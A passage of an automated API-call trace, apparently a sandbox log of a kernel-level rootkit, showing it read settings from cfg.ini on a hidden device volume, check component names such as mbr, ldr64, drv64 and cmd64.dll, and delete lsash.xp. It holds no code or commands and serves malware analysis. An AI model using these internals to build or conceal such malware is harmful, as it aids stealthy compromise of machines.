VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.550] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.550] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.550] IdePortDispatch () returned 0x103 [0130.550] KeWaitForMutexObject () returned 0x0 [0130.550] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.550] KeLeaveCriticalRegion () [0130.550] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.551] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.551] KeEnterCriticalRegion () [0130.551] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.551] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.551] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.551] KeLeaveCriticalRegion () [0130.551] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.551] KeEnterCriticalRegion () [0130.551] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.551] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.551] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.551] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.551] KeLeaveCriticalRegion () [0130.551] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.551] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.551] KeEnterCriticalRegion () [0130.551] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.551] ExFreePoolWithTag (P=0xfffffa800294ce10, Tag=0x0) [0130.551] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.551] KeLeaveCriticalRegion () [0130.551] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.551] ReleaseMutex (hMutex=0xf0) returned 1 [0130.551] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.554] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.554] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.554] KeEnterCriticalRegion () [0130.554] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.554] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.554] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.555] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.555] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.555] IdePortDispatch () returned 0x103 [0130.555] KeWaitForMutexObject () returned 0x0 [0130.555] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.555] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.555] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.555] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.555] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.555] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294c910 [0130.555] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.555] KeLeaveCriticalRegion () [0130.555] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.555] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.555] KeEnterCriticalRegion () [0130.555] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.555] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.555] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.555] KeLeaveCriticalRegion () [0130.555] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.555] KeEnterCriticalRegion () [0130.555] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.555] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.555] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.555] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.555] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.555] IdePortDispatch () returned 0x103 [0130.555] KeWaitForMutexObject () returned 0x0 [0130.555] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.555] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.555] KeLeaveCriticalRegion () [0130.556] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.556] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.556] KeEnterCriticalRegion () [0130.556] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.556] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002df1000 [0130.556] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.556] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.556] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.556] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.556] IdePortDispatch () returned 0x103 [0130.556] KeWaitForMutexObject () returned 0x0 [0130.556] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.556] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.556] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.556] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.556] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.556] IdePortDispatch () returned 0x103 [0130.556] KeWaitForMutexObject () returned 0x0 [0130.556] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.556] KeLeaveCriticalRegion () [0130.556] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.557] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.557] KeEnterCriticalRegion () [0130.557] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.557] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.557] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.557] KeLeaveCriticalRegion () [0130.557] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.557] KeEnterCriticalRegion () [0130.557] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.557] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.557] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294c9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.557] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.557] KeLeaveCriticalRegion () [0130.557] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.557] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.557] KeEnterCriticalRegion () [0130.557] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.557] ExFreePoolWithTag (P=0xfffffa800294c910, Tag=0x0) [0130.557] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.557] KeLeaveCriticalRegion () [0130.557] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.557] ReleaseMutex (hMutex=0xf0) returned 1 [0130.557] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.557] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0130.557] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.557] KeEnterCriticalRegion () [0130.557] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.557] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.557] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.557] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.557] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.557] IdePortDispatch () returned 0x103 [0130.558] KeWaitForMutexObject () returned 0x0 [0130.558] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.558] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.558] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.558] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.558] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.558] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c08150 [0130.558] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.558] KeLeaveCriticalRegion () [0130.558] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.558] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.558] KeEnterCriticalRegion () [0130.558] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.558] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.558] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.558] KeLeaveCriticalRegion () [0130.558] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.558] KeEnterCriticalRegion () [0130.558] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.558] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.558] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.558] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.558] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.558] IdePortDispatch () returned 0x103 [0130.558] KeWaitForMutexObject () returned 0x0 [0130.558] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.558] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.558] KeLeaveCriticalRegion () [0130.558] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.559] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.559] KeEnterCriticalRegion () [0130.559] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.559] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002df2000 [0130.559] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.559] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.559] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.559] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.559] IdePortDispatch () returned 0x103 [0130.559] KeWaitForMutexObject () returned 0x0 [0130.559] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.559] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.559] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.559] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.559] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.559] IdePortDispatch () returned 0x103 [0130.559] KeWaitForMutexObject () returned 0x0 [0130.559] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.559] KeLeaveCriticalRegion () [0130.559] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.560] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.560] KeEnterCriticalRegion () [0130.560] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.560] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.560] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.560] KeLeaveCriticalRegion () [0130.560] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.560] KeEnterCriticalRegion () [0130.560] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.560] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.560] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.560] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.560] KeLeaveCriticalRegion () [0130.560] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.560] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.560] KeEnterCriticalRegion () [0130.560] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.560] ExFreePoolWithTag (P=0xfffffa8003c08150, Tag=0x0) [0130.560] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.560] KeLeaveCriticalRegion () [0130.560] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.560] ReleaseMutex (hMutex=0xf0) returned 1 [0130.560] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0130.560] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0130.560] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0130.560] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.560] KeEnterCriticalRegion () [0130.560] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.560] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.560] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.560] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.560] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.560] IdePortDispatch () returned 0x103 [0130.561] KeWaitForMutexObject () returned 0x0 [0130.561] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.561] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.561] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.561] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.561] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.561] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.561] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.561] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.561] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.561] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.561] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.561] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.561] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.561] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.561] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.561] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.561] KeLeaveCriticalRegion () [0130.561] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.561] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0130.561] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.561] KeEnterCriticalRegion () [0130.561] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.561] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.561] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.561] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.561] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.561] IdePortDispatch () returned 0x103 [0130.561] KeWaitForMutexObject () returned 0x0 [0130.561] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.561] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.561] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.561] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.562] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.562] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.562] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.562] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.562] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.562] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.562] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.562] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.562] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.562] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.562] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.562] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.562] KeLeaveCriticalRegion () [0130.562] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.562] ReleaseMutex (hMutex=0x100) returned 1 [0130.562] Sleep (dwMilliseconds=0x2bf20) [0130.568] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70f06030, dwHighDateTime=0x1d24fa4)) [0130.568] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0130.568] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.568] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.568] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.569] KeEnterCriticalRegion () [0130.569] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.569] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.569] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.569] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.569] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.569] IdePortDispatch () returned 0x103 [0130.569] KeWaitForMutexObject () returned 0x0 [0130.569] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.569] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.569] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.569] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.569] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.569] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294d750 [0130.569] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.569] KeLeaveCriticalRegion () [0130.569] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.569] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | 